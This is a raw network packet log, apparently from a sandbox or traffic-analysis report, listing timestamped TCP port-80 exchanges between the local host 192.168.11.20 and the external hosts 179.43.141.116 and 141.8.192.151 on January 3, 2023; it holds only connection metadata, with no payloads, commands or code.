                                                                              Jan 3, 2023 08:16:00.418389082 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418401003 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418404102 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418417931 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418432951 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418447971 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418462038 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418471098 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418477058 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418494940 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418509007 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418519974 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418520927 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418524027 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418539047 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418554068 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418567896 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418569088 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418582916 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418596983 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418612003 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418617964 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418617964 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418627977 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418642044 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418658972 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418667078 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418673992 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418715954 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418765068 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418765068 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418824911 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418827057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418828011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418828011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418828964 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418957949 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418957949 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.419054985 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.472917080 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.473217964 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.473400116 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.490680933 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.490740061 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.490931034 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.492516994 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492577076 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492605925 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492633104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492768049 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.492768049 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.492774010 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492808104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492835045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492861986 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492893934 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492921114 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492947102 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492955923 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.492973089 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.492986917 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.492999077 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493025064 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493056059 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493083000 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493100882 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493100882 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493108988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493134975 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493160963 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493186951 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493211985 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493232965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493232965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493242025 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493268013 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493268013 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493294001 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493319035 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493345022 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493347883 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493370056 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493405104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493431091 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493434906 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493457079 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493491888 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493501902 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493518114 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493539095 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493545055 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493576050 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493588924 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493602037 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493628025 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493643045 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493654013 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493680000 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493705988 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493705988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493736029 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493762016 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493788004 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493788004 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493788004 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493813992 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493839979 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493866920 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493892908 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493896008 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493896008 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.493921995 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493947983 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.493993044 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.494041920 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.494148016 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.537286043 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.537393093 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.537621975 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.549890041 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.549911976 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.550226927 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.551033020 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551146030 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551165104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551181078 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551196098 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551208973 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.551378965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.551476955 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:03.843502045 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:03.897960901 CET8049868141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:16:03.898102045 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:03.898283958 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:03.952711105 CET8049868141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:16:03.959227085 CET8049868141.8.192.151192.168.11.20
                                                                              Jan 3, 2023 08:16:04.006745100 CET4986880192.168.11.20141.8.192.151
                                                                              Jan 3, 2023 08:16:05.354429007 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.354643106 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.493535995 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.494478941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.579165936 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.579693079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.579910040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.580096960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.662416935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.668154001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.668474913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.776266098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776283026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776324034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776397943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776411057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776429892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776439905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776453018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776453972 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.776463985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776475906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.776526928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.776526928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.776576042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.776623011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.857150078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857180119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857197046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857213020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857228994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857244968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857356071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.857356071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.857356071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.857557058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857579947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857732058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857753992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.857800961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.857908964 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.858062983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858184099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858206034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858226061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858246088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858263969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858315945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.858315945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.858447075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.858819962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858840942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858858109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858887911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.858978033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.859085083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942097902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942154884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942192078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942226887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942261934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942301035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942336082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942338943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942370892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942394972 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942406893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942434072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942441940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942485094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942504883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942522049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942590952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942703009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942724943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942763090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942800045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942837000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942872047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942883968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942907095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942941904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.942962885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.942981005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943017006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943052053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943070889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943070889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943085909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943121910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943166971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943193913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943202019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943236113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943272114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943274975 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943309069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943326950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943346977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943404913 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943531990 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943563938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943681955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943718910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943753958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943789005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943826914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.943830013 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.943887949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.944003105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.944286108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.944371939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.944411993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.944447994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:05.944504023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:05.944591045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.025525093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025619984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025680065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025743961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025799036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025799036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.025852919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025912046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.025912046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.025965929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026019096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026021004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026077032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026129961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026181936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026228905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026228905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026237011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026302099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026351929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026355028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026411057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026469946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026509047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026523113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026577950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026613951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026634932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026688099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026742935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026741982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026789904 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026799917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026853085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026905060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.026930094 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.026967049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027019978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027071953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027103901 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027131081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027153015 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027184963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027225971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027237892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027297974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027329922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027369022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027455091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027507067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027514935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027621984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027690887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027717113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027784109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.027832031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.027940989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028033972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028067112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028090000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028155088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028179884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028208017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028260946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028304100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028369904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028444052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028482914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028548002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028605938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028700113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028702021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028748989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028759003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028820992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028875113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028928041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.028947115 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.028990030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029059887 CET8049869179.43.141.116192.168.11.20
